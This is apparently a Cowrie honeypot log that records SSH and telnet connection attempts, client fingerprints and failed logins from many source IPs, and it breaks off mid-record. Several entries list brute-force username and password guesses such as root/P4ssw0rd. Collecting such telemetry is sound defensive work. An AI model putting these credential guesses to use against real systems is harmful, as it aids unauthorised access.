{"eventid":"cowrie.session.closed","duration":13.2888925075531,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:41.092477Z","src_ip":"115.227.207.84","session":"882c73d9f928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":56908,"dst_ip":"10.17.0.5","dst_port":22,"session":"0646209cb49b","protocol":"ssh","message":"New connection: 171.244.141.86:56908 (10.17.0.5:22) [session: 0646209cb49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:46.128613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:46.134352Z","src_ip":"171.244.141.86","session":"0646209cb49b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:46.414531Z","src_ip":"171.244.141.86","session":"0646209cb49b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789z","message":"login attempt [root/123456789z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:47.383365Z","src_ip":"171.244.141.86","session":"0646209cb49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:48.620550Z","src_ip":"171.244.141.86","session":"0646209cb49b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":31539,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b6dcc372112","protocol":"ssh","message":"New connection: 222.107.156.227:31539 (10.17.0.5:22) [session: 9b6dcc372112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:16.084616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:16.090516Z","src_ip":"222.107.156.227","session":"9b6dcc372112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:16.296394Z","src_ip":"222.107.156.227","session":"9b6dcc372112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:17.122571Z","src_ip":"222.107.156.227","session":"9b6dcc372112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:18.327025Z","src_ip":"222.107.156.227","session":"9b6dcc372112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":39144,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38901c510cc","protocol":"ssh","message":"New connection: 20.203.42.204:39144 (10.17.0.5:22) [session: b38901c510cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:22.965594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:22.971283Z","src_ip":"20.203.42.204","session":"b38901c510cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":34784,"dst_ip":"159.203.135.109","dst_port":22,"session":"b257c83588f2","protocol":"ssh","message":"New connection: 186.246.14.196:34784 (159.203.135.109:22) [session: b257c83588f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:22.976423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:22.980643Z","src_ip":"186.246.14.196","session":"b257c83588f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:23.142156Z","src_ip":"186.246.14.196","session":"b257c83588f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:23.149003Z","src_ip":"20.203.42.204","session":"b38901c510cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE!@","message":"login attempt [root/qwe123QWE!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:23.825025Z","src_ip":"186.246.14.196","session":"b257c83588f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssw0rd","message":"login attempt [root/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:23.880434Z","src_ip":"20.203.42.204","session":"b38901c510cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:24.990248Z","src_ip":"186.246.14.196","session":"b257c83588f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:25.059817Z","src_ip":"20.203.42.204","session":"b38901c510cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":51572,"dst_ip":"10.17.0.5","dst_port":22,"session":"c487fbe77cfe","protocol":"ssh","message":"New connection: 213.230.127.104:51572 (10.17.0.5:22) [session: c487fbe77cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:25.514196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:25.519684Z","src_ip":"213.230.127.104","session":"c487fbe77cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:25.692271Z","src_ip":"213.230.127.104","session":"c487fbe77cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git2025","message":"login attempt [git/git2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:26.404935Z","src_ip":"213.230.127.104","session":"c487fbe77cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:27.610156Z","src_ip":"213.230.127.104","session":"c487fbe77cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60684,"dst_ip":"10.17.0.5","dst_port":22,"session":"b702fe589293","protocol":"ssh","message":"New connection: 147.45.197.250:60684 (10.17.0.5:22) [session: b702fe589293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:32.761337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:32.766661Z","src_ip":"147.45.197.250","session":"b702fe589293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:32.860543Z","src_ip":"147.45.197.250","session":"b702fe589293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kronos","message":"login attempt [root/kronos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:33.140763Z","src_ip":"147.45.197.250","session":"b702fe589293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:34.237294Z","src_ip":"147.45.197.250","session":"b702fe589293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":59816,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c7c76a9d34","protocol":"ssh","message":"New connection: 45.165.238.2:59816 (10.17.0.5:22) [session: 36c7c76a9d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:49.726288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:49.731557Z","src_ip":"45.165.238.2","session":"36c7c76a9d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":59178,"dst_ip":"10.17.0.5","dst_port":22,"session":"641ae2620e92","protocol":"ssh","message":"New connection: 89.190.156.8:59178 (10.17.0.5:22) [session: 641ae2620e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:49.842529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:49.847829Z","src_ip":"89.190.156.8","session":"641ae2620e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:49.862469Z","src_ip":"45.165.238.2","session":"36c7c76a9d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:49.934265Z","src_ip":"89.190.156.8","session":"641ae2620e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andy","password":"andy","message":"login attempt [andy/andy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:50.297242Z","src_ip":"89.190.156.8","session":"641ae2620e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@123456","message":"login attempt [root/Cloud@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:50.419631Z","src_ip":"45.165.238.2","session":"36c7c76a9d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:51.382457Z","src_ip":"89.190.156.8","session":"641ae2620e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:51.553253Z","src_ip":"45.165.238.2","session":"36c7c76a9d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:33:55.332741Z","src_ip":"14.103.118.145","session":"974fad5ab241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":44202,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0db3a5dccf","protocol":"ssh","message":"New connection: 186.233.118.22:44202 (159.203.135.109:22) [session: 9a0db3a5dccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:06.768370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:34:06.773978Z","src_ip":"186.233.118.22","session":"9a0db3a5dccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-excha